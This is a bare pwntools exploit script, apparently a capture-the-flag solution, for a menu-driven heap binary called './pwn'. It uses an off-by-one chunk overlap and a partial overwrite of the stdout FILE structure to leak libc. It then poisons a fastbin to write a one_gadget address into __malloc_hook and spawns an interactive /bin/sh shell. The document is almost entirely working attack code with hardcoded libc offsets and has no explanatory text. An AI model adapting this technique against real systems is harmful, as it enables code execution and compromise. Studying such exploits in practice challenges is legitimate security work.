1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| from pwn import * context.log_level = 'debug' p=process("./pwn") elf=ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx,size,content): p.recvuntil('>>>') p.sendline("1") p.recvuntil("idx:") p.sendline(str(idx)) p.recvuntil("len:") p.sendline(str(size)) p.recvuntil("content:") p.send(content)
def delete(idx): p.recvuntil('>>>') p.sendline("2") p.recvuntil("idx:") p.sendline(str(idx))
add(0,0x18,'0') add(1,0x108,'a') add(2,0x60,'b') add(3,0x60,'c') add(4,0xf8,'c') add(5,0x20,'d')
delete(0) add(0,0x18,'a'*0x18+'\xf1') delete(2) delete(3) delete(1)
add(1,0x108,'a')
add(2,0x70,p16(0x2620-0x43)) delete(1) add(1,0x108,'a'*0x108+'\x71') add(3,0x60,'b') add(6,0x60,'c')
payload='a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00' add(7,0x68,payload) libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600 print hex(libc_base) system = libc_base + 0x44e30 free_hook = libc_base + 0x3c67a8 malloc_hook = libc_base+0x3c4b10 onegadget=libc_base+0xf1207
p.sendline("1") p.recvuntil("idx:") p.sendline(str(8)) p.recvuntil("len:") p.sendline(str(0x50)) p.recvuntil("content:") p.send('a') add(8,0x18,'a')
add(9,0x108,'b') add(10,0x68,'c') add(11,0x68,'d') add(12,0x68,'/bin/sh\x00')
delete(8) add(0,0x18,'a'*0x18+'\xf1') delete(10) delete(11) delete(9)
add(9,0x108,'b') add(10,0x70,p64(malloc_hook-0x23)) delete(9) add(9,0x108,'a'*0x108+'\x71') add(11,0x68,'d') add(13,0x68,'ddd') add(14,0x60,'a'*0x13+p64(onegadget)) gdb.attach(p) p.sendline("1") p.recvuntil("idx:") p.sendline(str(15)) p.recvuntil("len:") p.sendline('/bin/sh\x00')
p.interactive()
|